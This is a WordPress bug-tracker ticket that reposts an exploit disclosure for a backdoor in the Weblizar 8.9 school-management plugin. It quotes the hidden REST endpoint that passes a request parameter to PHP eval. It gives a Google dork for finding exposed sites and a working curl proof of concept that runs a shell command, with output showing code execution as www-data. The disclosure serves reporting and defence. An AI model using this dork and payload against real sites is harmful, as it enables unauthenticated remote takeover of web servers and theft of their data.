[wp-trac] [WordPress Trac] #56087: WordPress Weblizar 8.9 Plugin - Backdoor

[WordPress Trac]

#56087: WordPress Weblizar 8.9 Plugin - Backdoor
----------------------------------+-----------------------------
 Reporter:  allaweip              |      Owner:  (none)
     Type:  enhancement           |     Status:  new
 Priority:  normal                |  Milestone:  Awaiting Review
Component:  General               |    Version:
 Severity:  major                 |   Keywords:  needs-patch
  Focuses:  javascript, template  |
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 Exploit Title: WordPress Plugin Weblizar 8.9 - Backdoor
 # Google Dork: 'wp-json/am-member/license'
 # Exploit Author: ip99
 # Vendor Homepage: https://weblizar.com/plugins/school-management/
 # Version: 8.9
 # Tested on: windows/linux
 Vulnerable code:
 ...
 add_action( 'rest_api_init', function() {
 register_rest_route(
 'am-member', 'license',
 array(
 'methods' => WP_REST_Server::CREATABLE,
 'callback' => function( $request ) {
 $args = $request->get_params();
 if ( isset( $args['blowfish'] ) && ! empty(
 $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf']
 )
 ) {
 eval( $args['blowf'] );
 }
 };
 )
 );
 } );
 ...
 If you look at the code, the user code checks the parameters and finally
 executes the Blowf argument with the eval function. The Eval function is
 to take a string of PHP commands and execute it.
 In order to be able to exploit this vulnerability, it is enough to send a
 request such as the following request that according to the above code,
 the part with If should be set blowfish and blowf arguments and not empty,
 and
 given that eval executes the blowf value , Our favorite command must also
 be in this argument.
 Proof of Concept:
 curl -s -d 'blowfish=1' -d "blowf=system('id');" '
 http://localhost:8888/wp-json/am-member/license'
 uid=33(www-data) gid=33(www-data) groups=33(www-data)

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Ticket URL: <https://core.trac.wordpress.org/ticket/56087>
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